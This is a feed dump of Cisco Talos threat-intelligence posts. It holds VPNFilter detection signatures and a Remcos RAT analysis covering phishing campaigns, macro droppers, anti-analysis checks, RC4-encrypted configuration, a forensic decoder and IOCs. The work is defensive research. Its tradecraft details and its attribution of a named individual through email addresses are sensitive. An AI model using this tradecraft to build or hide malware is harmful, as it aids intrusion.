\n76bf646fce8ff9be94d48aad521a483ee49e1cb53cfd5021bb8b933d2c4a7f0f \ne009b567516b20ef876da6ef4158fad40275a960c1efd24c804883ae273566b0 \n7c06b032242abefe2442a8d716dddb216ec44ed2d6ce1a60e97d30dbba1fb643 \nf8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a \n4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62a1fdd709f4a3f1fa2c828 \nf1cf895d29970c5229b6a640c253b9f306185d4e99f4eac83b7ba1a325ef9fb8 \n8395e650e94b155bbf4309f777b70fa8fdc44649f3ab335c1dfdfeb0cdee44ff \na249a69e692fff9992136914737621f117a7d8d4add6bac5443c002c379fe072 \n5e75b8b5ebbef78f35b00702ced557cf0f30f68ee08b399fc26a3e3367bb177b \nfe022403a9d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd \n116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9 \n4263c93ce53d7f88c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8 \n5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3 \n5c52f115ab8a830d402fac8627d0bfdcbbfd4dcf0e6ad8154d49bb85387893aa \ne75e224c909c9ead4cb50cd772f606407b09b146051bfb28015fcbe27b4a5e8d \n999f14044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa43 \nb118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804 \n7ba0dc46510492a7f6c9b2bcc155333898d677cd8a88fe0e1ac1ad3852f1c170 \n83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae537848204f413b8 \nfce03f57b3fd3842efac3ce676687794c4decc29b612068e578134f3c4c4296a \n1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37 \n1e824654afba03678f8177e065c487a07192069711eeb4abe397010771b463b5 \n84227f906c7f49071d6598b9035fc785d2b144a6349d0cf7c29177c00db2dc2f \n6eb09f805a68b29c9516d649019bea0bb4796e504ca379783455508a08f61087 \naa5baa135b2ada5560833747260545d6a5b49558f6244c0f19443dc87c00294d \n4c5e21125738c330af1bfe5cabc5f18fa14bbef53805dda2c3c31974555f7ec5 \n0f3746f273281472e7181f1dd1237f0c9fc26f576a883f42413c759f381006c4 \nacfc72b8d6611dc9cd6a3f1a4484aa0adfb404ad5faaa8b8db5747b0ff05bc22 \nfe9c17ac036622b2d73466f62b5d095edda2d3b60fa546a48d0bb18f8b11059f \n830091904dab92467956b91555bc88fa7e6bbde514b8a90bb078c8a3bb2f39a9 \n5a28ad479d55275452e892b799c32803f81307079777bb1a5c4d24477206d16b \n8440128350e98375b7eff67a147dfe4e85067d67f2ad20d9485f3de246505a5f \n275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4ba6dceb33ed \nb700207c903e8da41f33f11b69f703324ec79eb56c98b22efaeac0a10447ec44 \n2aa149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75 \n1a11240d0af108720de1a8a72ceadef102889f4d5679c1a187559d8d98143b0b \n3b6be595b4183b473964345090077b1df29b0cace0077047b46174cc09c690e1 \n620c51f83457d0e8cb985f1aff07c6d4a33da7566297d41af681ae3e5fbd2f80 \n4c8da690501c0073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c \nd92282acf3fea66b05a75aba695e98a5ea1cc1151f9e5370f712b69a816bf475 \n30382c1e7566d59723ff7ef785a1395711be64873dbca6d86691b1f5d86ba29f \n \n\n\n## Coverage\n\n \nThe following new coverage has been developed to detect additional modules used by VPNFilter \n \n**New Snort for ndbr:** \n \nsid:1:47377:1 \n \n**New Clam AV:** \n \nUnix.Trojan.Vpnfilter_htpx-6596262-0 \nUnix.Trojan.Vpnfilter_ndbr-6598711-0 \nUnix.Trojan.Vpnfilter_netfilter-6599563-0 \nUnix.Trojan.Vpnfilter_nm-6598714-0 \nUnix.Trojan.Vpnfilter_portforwarding-6599587-0 \nUnix.Trojan.Vpnfilter_socks5proxy-6599614-0 \nUnix.Trojan.Vpnfilter_tcpvpn-6606298-0 \n \n**Updated Clam AV: ** \n \nThe following ClamAV signatures were updated to improve detection of additional Stage 1 and Stage 2 modules used by VPNFilter: \n \nUnix.Trojan.Vpnfilter-6425812-1 \nUnix.Trojan.Vpnfilter-6550592-1 \n \n\n\n", "modified": "2018-09-26T19:31:00", "published": "2018-09-26T07:59:00", "id": "TALOSBLOG:744C774279644C0E2B83FB09F7352468", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/2MO3kUK13Q8/vpnfilter-part-3.html", "type": "talosblog", "title": "VPNFilter III: More Tools for the Swiss Army Knife of Malware", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}, {"lastseen": "2018-08-22T17:06:14", "bulletinFamily": "blog", "description": "[](<https://1.bp.blogspot.com/-3AapTTmPQGo/W32K0dIjUcI/AAAAAAAAAwY/wv_YkbVnP6gBhuCwN9xquLczFg3S52sCACLcBGAs/s1600/spotlight_threat.jpg>)\n\n \n \n_This blog post was authored by [Edmund Brumaghin](<https://www.blogger.com/profile/10442669663667294759>) and [Holger Unterbrink](<http://blogs.cisco.com/author/holgerunterbrink>) with contributions from[ ](<https://twitter.com/E191145>)[Eric Kuhla](<https://twitter.com/E191145>) and [Lilia Gonzalez Medina](<https://www.linkedin.com/in/lilia-elena-gonz%25C3%25A1lez-80207050/>)._ \n \n\n\n## Overview\n\n \nCisco Talos has recently observed multiple campaigns using the Remcos remote access tool (RAT) that is offered for sale by a company called [Breaking Security](<https://breaking-security.net/shop/remcos/>). While the company says it will only sell the software for legitimate uses as described in comments in response to the article [](<https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/>)[here](<https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/>) and will revoke the licenses for users not following their EULA, the sale of the RAT gives attackers everything they need to establish and run a potentially illegal botnet. \n \nRemcos' prices per license range from \u20ac58 to \u20ac389. Breaking Security also offers customers the ability to pay for the RAT using a variety of digital currencies. This RAT can be used to fully control and monitor any Windows operating system, from Windows XP and all versions thereafter, including server editions. \n \nIn addition to Remcos, Breaking Security is also offering [Octopus Protector](<https://breaking-security.net/octopus/>), a cryptor designed to allow malicious software to bypass detection by anti-malware products by encrypting the software on the disk. A YouTube [video](<https://www.youtube.com/watch?v=BVxQxSfNJXQ>) available on the Breaking Security channel demonstrates the tool's ability to facilitate the bypass of several antivirus protections. Additional products offered by this company include a [](<https://breaking-security.net/keylogger/>)[keylogger](<https://breaking-security.net/keylogger/>), which can be used to record and send the keystrokes made on an infected system, a [](<https://breaking-security.net/poseidon/>)[mass mailer](<https://breaking-security.net/poseidon/>) that can be used to send large volumes of spam emails, and a [](<https://breaking-security.net/dns-service/>)[DynDNS service](<https://breaking-security.net/dns-service/>) that can be leveraged for post-compromise command and control (C2) communications. These tools, when combined with Remcos provide all the tools and infrastructure needed to build and maintain a botnet. \n \nWithin Cisco's Advanced Malware Protection (AMP) telemetry, we have observed several instances of attempts to install this RAT on various endpoints. As described below, we have also seen multiple malware campaigns distributing Remcos, with many of these campaigns using different methods to avoid detection. To help people who became victims of a harmful use of Remcos, Talos is providing a [decoder](<https://github.com/Cisco-Talos/remcos-decoder/blob/master/remcos_decryptor.py>) script that can extract the C2 server addresses and other information from the Remcos binary. Please see the Technical Details section below for more information. \n \n\n\n## Technical Details\n\n### Remcos distribution in the wild\n\n \nTalos has observed several malware campaigns attempting to spread Remcos to various victims. Since Remcos is advertised and sold on numerous hacking-related forums, we believe it is likely that multiple unrelated actors are leveraging this malware in their attacks using a variety of different methods to infect systems. Earlier this year, RiskIQ published a [report](<https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/>) regarding an attacker who was reportedly targeting defense contractors in Turkey. Since then, this threat actor has continued to operate and has been observed targeting specific types of organizations. Talos has confirmed that in addition to defense contractors, this attacker has also targeted other organizations such as: \n\n\n * International news agencies;\n * Diesel equipment manufacturers and service providers operating within the maritime and energy sector; and\n * HVAC service providers operating within the energy sector.\nIn all of the observed campaigns, the attack begins with specially crafted spear phishing emails written in Turkish. The emails appear as if they were sent from a Turkish government agency and purport to be related to tax reporting for the victim's organization. Below is an example of one of these email messages: \n\n\n[](<https://3.bp.blogspot.com/-QCTFsWe9vf8/W31-ZnxCI9I/AAAAAAAAAtA/T-nKOVUJluMfkP4_y3AQNZNDN7_8hivKgCLcBGAs/s1600/image18.jpg>)\n\nThe attacker put effort into making the emails look as if they were official communications from Gelir \u0130daresi Ba\u015fkanl\u0131\u011f\u0131 (GIB), the Turkish Revenue Administration, which operates under the Ministry of Finance and is responsible for handling taxation functions in Turkey. The attacker even went as far to include official GIB graphics and the text at the bottom which translates to: \n \n_\"Thank you for your participation in the e-mail notification system of [the] Department of Revenue Administration's e-mail service. This message has been sent to you by GIB Mail Notification System. Please do not reply to this message.\"_ \n \nAs is common with many spear phishing campaigns, malicious Microsoft Office documents are attached to the emails. While the majority of these documents have been Excel spreadsheets, we have also observed the same attacker leveraging Word documents. In many cases, the contents of the document have been intentionally blurred as way to entice victims to enable macros and view the content. Below is an example of a Word document associated with one of these campaigns that have been made to look as if it is a tax bill: \n\n\n[](<https://2.bp.blogspot.com/-ZqdD1T7H5yc/W31-fTLdCrI/AAAAAAAAAtE/kE6axzHR-FQQ1RRl8e4o8FU31jLCiuT4gCLcBGAs/s1600/image1.jpg>)\n\nMany of the Excel spreadsheets we analyzed were mostly blank, and only included the following image and warning prompting the victim to enable macros in Turkish: \n\n\n[](<https://4.bp.blogspot.com/-hKk1Tah0ht8/W31-j3KuBeI/AAAAAAAAAtI/4FRRK4gQ7ugrCldGK0NQMrNgfKl1dNFKACLcBGAs/s1600/image15.jpg>)\n\nWe have also observed campaigns that appear to be targeting English-speaking victims. Below is an example of one of the malicious attachments that were made to appear as if it was an invoice on letterhead associated with Iberia, which is the flagship airline in Spain. \n\n\n[](<https://2.bp.blogspot.com/-BVwEZVhdlIo/W31-pFX0D8I/AAAAAAAAAtM/bTLp66s1jNoOMJrnLLxlQERl6oIzH_EzwCLcBGAs/s1600/image6.jpg>)\n\nIn addition to the Iberia-themed malicious documents, we uncovered multiple malicious documents that were created to appear as if they were invoices associated with AMC Aviation, a Polish charter airline. Talos has observed the following same itinerary decoy image used across both Excel and Word documents: \n\n\n[](<https://4.bp.blogspot.com/-6lSg8rY3HD0/W31-vplI_SI/AAAAAAAAAtU/1jCA1BSH-2UB1YFyQXT-FL56kzLvgxWogCLcBGAs/s1600/image29.jpg>)\n\nAs described in the RiskIQ report, the macros in these files contain a small executable that is embedded into the document in the form of a series of arrays. When executed, the macros reconstruct the executable, save it to a specific location on the system and execute it. The file location specified changes across malicious documents, but includes directories commonly used by malware authors such as %APPDATA% and %TEMP%. The executable filename also changes across documents. \n \nThe extracted executable is simple and functions as the downloader for the Remcos malware. It is a very basic program and is used to retrieve Remcos from an attacker-controlled server and execute it, thus infecting the system. An example of this is below: \n\n\n[](<https://3.bp.blogspot.com/-xC_sywUjdnw/W31-8x4BejI/AAAAAAAAAtc/Z_llySKDLBo9nv0I-c2BKQMBjA4pLQITgCLcBGAs/s1600/image21.jpg>)\n\nRemcos is a robust RAT that can be used to monitor keystrokes, take remote screen captures, manage files, execute commands on infected systems and more. In several cases, the distribution servers associated with these campaigns have been observed hosting several other malicious binaries in addition to Remcos. \n \n\n\n### Who is behind Remcos?\n\n \nAs previously mentioned, a company called Breaking Security has been offering Remcos and other questionable software for purchase on their website. There are no details about the company or the people behind it listed on its website. The website does, however, list a value-added tax (VAT) number (DE308884780) which shows the company is registered in Germany. Interestingly, you can look up the name and address of companies in almost any European Union (EU) country except Germany on this [](<http://ec.europa.eu/taxation_customs/vies/vatRequest.html>)[website](<http://ec.europa.eu/taxation_customs/vies/vatRequest.html>). Germany does not share this information due to privacy concerns. Because Breaking Security was registered in Germany, we were unable to identify the name and address of the individual behind this company. Nevertheless, we were able to identify several artifacts that give us an idea as to who might be behind the company. \n\n\n[](<https://2.bp.blogspot.com/-U3GJM_YdpaY/W31_B6ueaWI/AAAAAAAAAtg/nrc3VW5fzZU4H5Fi4kZc1qjZJ5iW6nGtQCLcBGAs/s1600/image4.png>)\n\n**Comparison of Public and Private VAT Entries**\n\n \nThe Breaking Security domain is hosted behind Cloudflare currently, and Whois privacy protects the registrant information. Quite a bit of effort has been put into attempting to mask who is behind this company and the associated software. During our analysis, we were able to uncover several clues about the individual that we believe is behind this organization, either due to mistakes or very well organized false evidence on the internet. \n \nThe first thing we identified was the following email address and domain present in the Viotto Keylogger screenshot below: \n \n _ logs@viotto[.]it_ \n_ viotto-security[.]net_ \n\n\n[](<https://4.bp.blogspot.com/-8DEYA3BVGcU/W31_GQGsZhI/AAAAAAAAAtk/xKItbSrSrlM-2OojPf30yIURUhS03HTdwCLcBGAs/s1600/image5.png>)\n\nWhile the viotto-security[.]net domain server and registrant information is protected similar to what was seen with the breaking-security[.]net domain, the domain viotto[.]it listed in the \"Sender's e-mail\" text field is not. The Whois information associated with this domain can be seen in the screenshot below: \n\n\n[](<https://3.bp.blogspot.com/-WSxHab-B8No/W31_MwYsXCI/AAAAAAAAAts/rJwjHroIUAMKeDt7uxN7BR4IeoT9S9ZogCLcBGAs/s1600/image22.png>)\n\nNormally Talos would obfuscate this data however since it is public in so many places we have elected not to. We also identified additional email, Jabber, and XMPP addresses that appear to be used by the author of Remcos by leveraging the data we collected from the website, as well as other sources: \n \n _ viotto@null[.]pm_ \n_ viotto24@hotmail[.]it_ \n_ viotto@xmpp[.]ru_ \n \nIn multiple cases, the domains investigated were leveraging the Cloudflare service. This often obscures the address of servers hosting domains, as the DNS configuration typically points the name resolution to Cloudflare IPs rather than the IP of the web servers themselves. One common mistake is that while the domain itself may be protected by Cloudflare, in many cases, a subdomain exists that does not point to Cloudflare servers, allowing the server IP address to be unmasked. \n \nThis was the case with the breaking-security[.]net domain. While Cloudflare shields the domain, their mail subdomains are not protected. The A record that was configured for the mail subdomains is as follows: \n \n _ mail[.]breaking-security[.]net. A 146.66.84[.]79_ \n_ webmail[.]breaking-security[.]net A 146.66.84[.]79_ \n \nThe IP address 146.66.84[.]79 is hosted at [SiteGround Amsterdam](<https://www.siteground.com/>). After various testing, we are confident that this is also the IP address where the main breaking-security[.]net website is hosted. \n \nOne of the other domains we identified as being associated with Remcos was viotto-security[.]net. This domain is currently configured to redirect traffic to the main breaking-security[.]net domain. However, this was not always the case. Searching for pages associated with this domain in the Wayback Machine, a website that allows users to view past versions of a web page, yields the following result in the form of a personal biography. There are multiple clear overlaps between the interests of this individual and the developer of the various tools the company sells: \n\n\n[](<https://4.bp.blogspot.com/-zvQ5oWl45zw/W31_SwbPO9I/AAAAAAAAAt0/HVoloultvdUONPT1_s0WtnEiVj35NMbXwCLcBGAs/s1600/image28.png>)\n\nWe also identified several instances where Viotto was advertising, selling and supporting Remcos on various hacking forums, including HackForums since at least 2016, which makes their intentions questionable. Below is an example of one of these threads. \n\n\n[](<https://1.bp.blogspot.com/-Iz8QaJfQM90/W31_emNk2_I/AAAAAAAAAuA/_DAcYPdw3kY_-7TUjNbKKYhOUNoZjcGrwCLcBGAs/s1600/image12.png>)\n\n[](<https://1.bp.blogspot.com/-XcLw-6ngKzw/W31_mINtjZI/AAAAAAAAAuE/3FLd1deOlqUg9WQ-8wd2548X-Bvia_VvgCLcBGAs/s1600/image19.png>)\n\nWhile the company states that they revoke user licenses if they were to use Remcos for illegal activity, as illustrated by the thread below the purported official reseller of Remcos doesn't seem to mind another user informing it that they are using the software to control 200 bots. \n\n\n[](<https://1.bp.blogspot.com/-bkIv_Suq3YI/W31_rgP5X5I/AAAAAAAAAuM/mCeao0GBsf8eUPw-Zzax8dyG6Gz3V1aGQCLcBGAs/s1600/image24.png>)\n\n[](<https://1.bp.blogspot.com/-v9-m5rirosw/W31_wuRMQhI/AAAAAAAAAuQ/PhJx-hMzDu0zxKPwneZUnAFFCt_YVy7_gCLcBGAs/s1600/image23.png>)\n\n[](<https://4.bp.blogspot.com/-Wjqs36an2Zo/W31_09vcW4I/AAAAAAAAAuU/b0vPfUbiPXg7QJAnrZXWbkiKe7V3064CACLcBGAs/s1600/image9.png>)\n\n[](<https://2.bp.blogspot.com/-Ujmo-NMyRk8/W31_508PicI/AAAAAAAAAuc/0ExrMmCj6eoUpz0o44Dng47vlZMEYFzGwCLcBGAs/s1600/image26.png>)\n\nViotto also appears to be active on other hacking forums, including OpenSC, where he is a moderator. Below is a thread where this user is advertising Remcos and Octopus Protector. \n\n\n[](<https://2.bp.blogspot.com/-Pcmr75vwO24/W31_-Thm8OI/AAAAAAAAAuk/qPpnAjVZSLkURkYARUiROuxR8HFVTPQXwCLcBGAs/s1600/image13.png>)\n\n[](<https://2.bp.blogspot.com/-cwPAPESEca4/W32ACd2KtvI/AAAAAAAAAuo/SXY-zVhRkskkq-0Vk9HaZ03lIuxzvGVTgCLcBGAs/s1600/image16.png>)\n\n### Remcos Technical Details:\n\n \nAs described in other [blog posts](<https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/>), Remcos appears to be developed in C++. \n\n\n[](<https://4.bp.blogspot.com/-pD844WQrsoQ/W32AH_N9I8I/AAAAAAAAAuw/o_ZP_CsJYoQ34kXjXD2i6tKjETYABP5nACLcBGAs/s1600/image25.png>)\n\nAs the release notes show, it is actively maintained. The authors release new versions on almost a monthly basis: \n \nv2.0.5 \u2013 July 14, 2018 \nv2.0.4 \u2013 April 6, 2018 \nv2.0.3 \u2013 March 29, 2018 \nv2.0.1 \u2013 Feb. 10, 2018 \nv2.0.0 \u2013 Feb. 2, 2018 \nv1.9.9 \u2013 Dec. 17, 2017 \n \nRemcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. \n \nSeveral routines are looking like they were just copied and (best case) slightly modified from publicly available sources. A good example is the anti-analysis section: \n\n\n[](<https://3.bp.blogspot.com/-obalSlTUuAU/W32ANWFXSBI/AAAAAAAAAu0/Mg9ki-UjZw8xHv9DidAzhHBxnKgJa4jkQCLcBGAs/s1600/image27.png>)\n\nIt is checking for an outdated artifact, the 'SbieDll.dll'. In our opinion, there are not many analysts using Sandboxie these days anymore. A closer look at the other functions is also showing a high code similarity to publicly available projects. Below you can see the Remcos VMware detection code: \n\n\n[](<https://3.bp.blogspot.com/-cMC58D-NALo/W32ASOxr7DI/AAAAAAAAAvA/VrQwmCFILTMu7i2itr0jgJRPldTRGGK2QCLcBGAs/s1600/image30.png>)\n\nThe following is a code sample from [](<https://www.aldeid.com/wiki/VMXh-Magic-Value>)[aldeid.com](<https://www.aldeid.com/wiki/VMXh-Magic-Value>): \n\n\n[](<https://3.bp.blogspot.com/-8dXqLUMbMJw/W32AXEMj53I/AAAAAAAAAvE/_AguGq-47uoE_9-FFY-KT42kh42n6IsgwCLcBGAs/s1600/image7.png>)\n\nThe blog referenced above has already described several functions of Remcos features in detail. We would like to focus on Remcos' cryptographic implementation. It uses RC4 pretty much everywhere when there is a need to decode or encode any data. Examples are registry entries, C2 server network communication or file paths shown below: \n\n\n[](<https://2.bp.blogspot.com/-JDR30NvxUQQ/W32Ae6jaC-I/AAAAAAAAAvQ/d8NC5OPFM4wk8O6xzXkW0EAyKdPeFPKEgCLcBGAs/s1600/image2.png>)\n\nThe exepath registry data is base64-encoded, RC4-encrypted data. Decoded, it is the path of the executable: \n_ \n__C:\\TEMP\\1cc8f8b1487893b2b0ff118faa2333e1826ae1495b626e206ef108460d4f0fe7.exe_ \n \nThe RC4 implementation is the standard RC4 implementation that can be found in many code examples on the internet. They are first building the Key Scheduling Algorithms (KSA) S_array at 00402F01. \n\n\n[](<https://2.bp.blogspot.com/-cgkFW-Yi4GU/W32AjHPH__I/AAAAAAAAAvU/roG_54jGBrEy0CfZwR1orxc46xtUefcXwCLcBGAs/s1600/image31.png>)\n\nThis can be converted into the typical RC4 pseudo code: \n \n\n \n \n for i from 0 to 255 \n S[i] := i \n endfor \n j := 0 \n for i from 0 to 255 \n j := (j + S[i] + key[i [mod](<https://en.wikipedia.org/wiki/Modulo_operation>) keylength]) mod 256 \n swap values of S[i] and S[j] \n endfor \n \n\nWhich is followed by the RC4 Pseudo-random generation algorithm (PRGA) at 00402F5B. \n\n\n[](<https://1.bp.blogspot.com/-TDb5TglxOME/W32Aor3eMSI/AAAAAAAAAvc/cYMHmTx4X4M6UjP42JFiO-tqj-bVozR-wCLcBGAs/s1600/image20.png>)\n\nWhich looks in pseudo code like this: \n \n\n \n \n i := 0 \n j := 0 \n while GeneratingOutput: \n i := (i + 1) mod 256 \n j := (j + S[i]) mod 256 \n [swap values](<https://en.wikipedia.org/wiki/Swap_\\(computer_science\\)>) of S[i] and S[j] \n K := S[(S[i] + S[j]) mod 256] \n output K \n endwhile\n\n \nAs the screenshots above illustrate, Remcos is using RC4 to encrypt and decrypt its data, and it is using the PE resource section to store the initial encryption key in the 'SETTINGS' resource. This key can have a variable length \u2014 we have seen short keys from 40 bytes to keys with more than 250 bytes. \n\n\n[](<https://3.bp.blogspot.com/-5MfRGa0ongw/W32AuuSMjuI/AAAAAAAAAvk/oYaxeLDRntgkm9oBnOorMj9eocglP1_UwCLcBGAs/s1600/image32.png>)\n\nThey are storing the data in the following format: \n \n[Length of key] \n[Encryption Key] \n[Encrypted configuration data] \n \nThis encrypted configuration data section contains the command and control servers, RAT commands to execute and other data. Decoded, it looks like this: \n\n\n[](<https://3.bp.blogspot.com/-APGGH-i_aig/W32Az2b0aBI/AAAAAAAAAvs/n2GSzTXXKo0IRH9sOR7IaveFXJfmcD5zACLcBGAs/s1600/image8.png>)\n\nThe decoded data contains the C2 server, e.g. ejiroprecious[.]ddns[.]net, and the corresponding port number, followed by a password. This password is used to generate a separate S_array for the RC4 encrypted C2 communication. The picture shows the relevant part of the RC4 Key Scheduling Algorithms (KSA) from above. \n\n\n[](<https://4.bp.blogspot.com/-E1ZYVjfvk4Y/W32A4l2OYqI/AAAAAAAAAvw/77MeaChBULQALAk-ODHyVzeYY9fbR99PwCLcBGAs/s1600/image17.png>)\n\nEven if a stronger password is used than in the example above, using such a weak encryption algorithm means that everyone who gets his or her hands on the binary file can extract the password and decrypt the C2 traffic or inject their own commands into the C2 channel to control the RAT. The good news is that companies who became a victim of Remcos have a good chance to analyse the threat if they have stored the network traffic and the Remcos binary file. \n \nTo make the life of forensic investigators easier, we are providing a small [](<https://github.com/Cisco-Talos/remcos-decoder/blob/master/remcos_decryptor.py>)[decoder Python script](<https://github.com/Cisco-Talos/remcos-decoder/blob/master/remcos_decryptor.py>) that can decode the config data from the resource section: \n\n\n[](<https://3.bp.blogspot.com/-wdX7bNsh_AY/W32A_kfYKfI/AAAAAAAAAv8/fF5mKMklbSwJwNo0kApTfDR5AapMReDKgCLcBGAs/s1600/image14.png>)\n\nAs mentioned above, Remcos is using the same encryption routine for all kinds of other functions, too. For this reason, the decoder program also offers an option to hand over encrypted bytes manually. This can be used to decode, for example, the exepath registry key. \n \nWe have used this tool to extract all the IOCs below. It is tested with the latest 2.0.4 and 2.0.5 versions of Remcos, but likely also works with other versions. \n\n\n[](<https://3.bp.blogspot.com/-3ASJftgNMjY/W32BE0CeW3I/AAAAAAAAAwA/VnGuhtNPNs8iP9TbgX-SlD_SKC6kBZQkACLcBGAs/s1600/image10.png>)\n\nThe user can also copy bytes from a network sniffer to a binary file, and hand it over to decrypt the bytes from the C2 communication to see which commands the C2 server has sent to the victim. Keep in mind to use the extracted password, e.g. \"pass.\" \n\n\n[](<https://4.bp.blogspot.com/-NQqKcySIX9I/W32BKLFQqjI/AAAAAAAAAwI/iOuB867_WvE2jWVbf7auK1h8VPWPIzE_QCLcBGAs/s1600/image3.png>)\n\n## Conclusion\n\n \nWhile the organization that sells Remcos claims that the application is only for legal use, our research indicates it is still being used extensively by malicious attackers, as well. In some cases, attackers are strategically targeting victims to attempt to gain access to organizations that operate as part of the supply chain for various critical infrastructure sectors. Organizations should ensure that they are implementing security controls to combat Remcos, as well as other threats that are being used in the wild. Remcos is a robust tool that is being actively developed to include new functionality increasing what the attackers can gain access to. To combat this, organizations should continue to be aware of this threat, as well as others like this that may be circulated on the internet. \n \n\n\n## Coverage\n\n## \n\nAdditional ways our customers can detect and block this threat are listed below. \n \n\n\n[](<https://3.bp.blogspot.com/-mlMbcYQ3qsI/Wyn1AySpA-I/AAAAAAAAAZ4/nZhPWCs28ZcGmAw112w9dm8l47WVleUbwCLcBGAs/s1600/image1.png>)\n\nAdvanced Malware Protection ([AMP](<https://www.cisco.com/c/en/us/products/security/advanced-malware-protection>)) is ideally suited to prevent the execution of the malware used by these threat actors. \n \nCisco Cloud Web Security ([CWS](<https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html>)) or [Web Security Appliance (WSA](<https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html>)) web scanning prevents access to malicious websites and detects malware used in these attacks. \n \n[Email Security](<https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html>) can block malicious emails sent by threat actors as part of their campaign. \n \nNetwork Security appliances such as [Next-Generation Firewall (](<https://www.cisco.com/c/en/us/products/security/firewalls/index.html>)[NGFW](<https://www.cisco.com/c/en/us/products/security/firewalls/index.html>)),[ Next-Generation Intrusion Prevention System (](<https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html>)[NGIPS](<https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html>)), and[ ](<https://meraki.cisco.com/products/appliances>)[Meraki MX](<https://meraki.cisco.com/products/appliances>) can detect malicious activity associated with this threat. \n \n[AMP Threat Grid](<https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html>) helps identify malicious binaries and build protection into all Cisco Security products. \n \n[Umbrella](<https://umbrella.cisco.com/>), our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. \n \nOpen Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on [Snort.org](<https://www.snort.org/products>). \n \n\n\n## Indicators of Compromise (IOC)\n\n \nThe following IOCs are associated with various malware distribution campaigns that were observed during analysis of Remcos activity. \n\n\n### Malicious Office Documents:\n\n \n0409e5a5a78bfe510576b516069d4119b45a717728edb1cd346f65cfb53b2de2 \n0ebfbcbf8c35ff8cbf36e38799b5129c7b70c6895d5f11d1ab562a511a2ec76e \n18f461b274aa21fc27491173968ebe87517795f24732ce977ccea5f627b116f9 \n2f81f5483bbdd78d3f6c23ea164830ae263993f349842dd1d1e6e6d055822720 \n3772fcfbb09ec55b4e701a5e5b4c5c9182656949e6bd96bbd758947dfdfeba62 \n43282cb81e28bd2b7d4086f9ba4a3c538c3d875871bdcf881e58c6b0da017824 \n48dec6683bd806a79493c7d9fc3a1b720d24ad8c6db4141bbec77e2aebad1396 \n4938f6b52e34768e2834dfacbc6f1d577f7ab0136b01c6160dd120364a1f9e1a \n4e0bcef2b9251e2aaecbf6501c8df706bf449b0e12434873833c6091deb94f0e \n72578440a76e491e7f6c53e39b02bd041383ecf293c90538dda82e5d1417cad1 \n77cf87134a04f759be3543708f0664b80a05bb8315acb19d39aaa519d1da8e92 \n8abcb3084bb72c1cb49aebaf0a0c221a40538a062a1b8830c1b48d913211a403 \n94ff6d708820dda59738401ea10eb1b0d7d98d104a998ba6cee70e728eb5f29f \n9cccdb290dbbedfe54beb36d6359e711aee1b20f6b2b1563b32fb459a92d4b95 \naa7a3655dc5d9e0d69137cb8ba7cc18137eff290fde8c060ac678aa938f16ec7 \nad78b68616b803243d56593e0fdd6adeb07bfc43d0715710a2c14417bba90033 \nbb3e5959a76a82db52840c4c03ae2d1e766b834553cfb53ff6123331f0be5d12 \nc5b9c3a3bbfa89c83e1fb3955492044fd8bf61f7061ce1a0722a393e974cec7c \nd3612813abf81d0911d0d9147a5fe09629af515bdb361bd42bc5a79d845f928f \ne302fb178314aa574b89da065204bc6007d16c29f1dfcddcb3b1c90026cdd130 \ne7c3c8195ff950b0d3f7e9c23c25bb757668b9c131b141528183541fc125d613 \nef5e1af8b3e0f7f6658a513a6008cbfb83710f54d8327423db4bb65fa03d3813 \nf2c4e058a29c213c7283be382a2e0ad97d649d02275f3c53b67a99b262e48dd2 \n\n\n### Stage 1 Executables:\n\n \n07380d9df664ef6f998ff887129ad2ac7b11d0aba15f0d72b6e150a776c6a1ef \n1e5d5226acaeac5cbcadba1faab4567b4e46b2e6724b61f8c705d99af80ca410 \n224009a766eef638333fa49bb85e2bb9f5428d2e61e83425204547440bb6f58d \n27dd5a3466e4bade2238aa7f6d5cb7015110ceb10ba00c1769e4bc44fe80bcb8 \n502c4c424c8f435254953c1d32a1f7ae1e67fb88ebd7a31594afc7278dcafde3 \n5a9fa1448bc90a7d8f5e6ae49284cd99120c2cad714e47c65192d339dad2fc59 \n91032c5ddbb0447e1c772ccbe22c7966174ee014df8ada5f01085136426a0d20 \n9114a31330bb389fa242512ae4fd1ba0c9956f9bf9f33606d9d3561cc1b54722 \n9fe46627164c0858ab72a7553cba32d2240f323d54961f77b5f4f59fe18be8fa \nc2307a9f18335967b3771028100021bbcf26cc66a0e47cd46b21aba4218b6f90 \nc51677bed0c3cfd27df7ee801da88241b659b2fa59e1c246be6db277ce8844d6 \nda352ba8731afee3fdbca199ce8c8916a31283c07b2f4ebaec504bda2966892b \n\n\n### PE32 Executables:\n\n \nA text file containing a list of Remcos PE32 executable hashes can be found [here](<https://alln-extcloud-storage.cisco.com/ciscoblogs/5b7d854a894cb.txt>). \n\n\n### IP Addresses:\n\n \n109.232.227[.]138 \n54.36.251[.]117 \n86.127.159[.]17 